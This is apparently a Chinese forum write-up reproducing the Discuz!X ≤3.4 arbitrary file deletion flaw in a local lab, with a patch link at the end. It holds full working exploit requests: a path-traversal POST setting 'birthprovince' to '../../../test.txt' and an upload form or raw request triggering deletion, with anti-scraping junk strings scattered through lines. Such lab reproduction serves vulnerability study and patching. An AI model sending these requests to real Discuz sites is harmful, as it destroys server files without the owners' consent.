Discuz!X 3.4 任意文件删除漏洞复现

fudyou

. w1 R& V1 k3 V! i) w
前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
影响版本：Discuz < =3.4 环境
4 l' l$ N9 X8 @, Z, N% u: e
复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
3 F2 X: C, H* N; a9 D" z新建test.txt
访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。


  A! M0 i+ B% V  Q  p- r$ N4 J查看formhash
2 o# K- W1 ~/ f6 {利用burp抓包，获取cookie
6 t9 \$ m- c$ q( d# H# f; p+ _



$ w' K% ]) {- k1 D* n
" ?3 o3 d# a, p: T抓取cookie

发送下面数据包：修改cookie，formhash,还有删除的文件
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
8 p* ]3 U0 I! l2 V& |3 KContent-Length: 367
( C2 x, M9 A+ @" f2 T& hCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
2 e5 b# u7 L) G% f0 F, ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
( v  j- |5 p/ NAccept-Encoding: gzip, deflate
3 G! D, [% G/ r1 O1 W* HAccept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Connection: close
' @/ P+ V1 A4 W. F$ i  w0 Z3 a------WebKitFormBoundaryPFvXyxL45f34L12s
0 A) D, r3 I* C) x- H1 o6 `8 bContent-Disposition: form-data; name="formhash"
84a7f376
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../test.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
/ o$ q& l  r% k1 P2 WContent-Disposition: form-data; name="profilesubmit"
1
6 T0 f5 z) B; ~# ^  X, f------WebKitFormBoundaryPFvXyxL45f34L12s--
发送删除的数据包
刷新页面，查看出生地就会显示成下图所示的状态：
数据成功写入
3 L7 z: G& B( [. c# T5 L$ i
9 R4 N' K6 S8 \2 P' Q# K
说明数据已经进入数据库：
然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
$ m% L' ?0 w" {8 J1 g<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
<input type="file"name="birthprovince" id="file" />
$ `' g' f1 |/ R9 f/ U<input type="text"name="formhash" value="84a7f376"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
* \$ h( w+ A9 w  a<input type="submit"value="Submit" />
4 S& |9 j' Q0 ]1 w0 |# Z6 i</from>

. |# u  H" S3 m* ^" Q. h. {: \* p

4 h- I+ o  x5 T* A& j
0 ^' o9 X' n0 V
. w! g. c4 R# `4 t或者直接构建数据包：
' e6 n3 ~. ^* d6 MPOST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
Host: 192.168.220.131
) \# [  W) l4 T5 C0 i& t0 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" e3 F. o7 F  `( _9 rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ l5 }8 r* E& S- m7 V8 VAccept-Encoding: gzip, deflate
6 o1 Q( y, Q6 F5 z* tContent-Type: multipart/form-data; boundary=---------------------------123821742118716
. Y. j- A3 O2 X& W! M* ]Content-Length: 91989
  w; y/ U- l3 ]* Y1 {! hConnection: close
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
Upgrade-Insecure-Requests: 1
-----------------------------123821742118716
& t1 k: b4 ~+ c) W  A: oContent-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg
zerba（这里写啥都可以）
-----------------------------123821742118716--
7 _9 s4 e' P2 J% Z8 ]- D% W6 D
& b, m0 h& m& j* k
% B  V" H5 P( q



" ~$ U' _/ E- b+ q, u4 W. c' t' M
3 f: n8 k$ J: N
) ]1 r6 W- ]9 N, E5 L3 p
: q, m* L. o' D/ f2 ^+ g8 l7 {0 r. J

进去discuz看看，可以看到，test.txt文件已经被删除了。

. U. M% @4 t# p/ U
, K. h6 f% i. M+ D6 y3 S) n
( H7 d/ |  |0 O, I- \4 l% A

修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。



( p9 B2 v; V* |$ @! Y! n1 q! C


* [$ @  n  F0 G* f1 S" u
) A; X" y$ e% V# ^. [

2 ?4 E9 k( x5 @: ]" x, h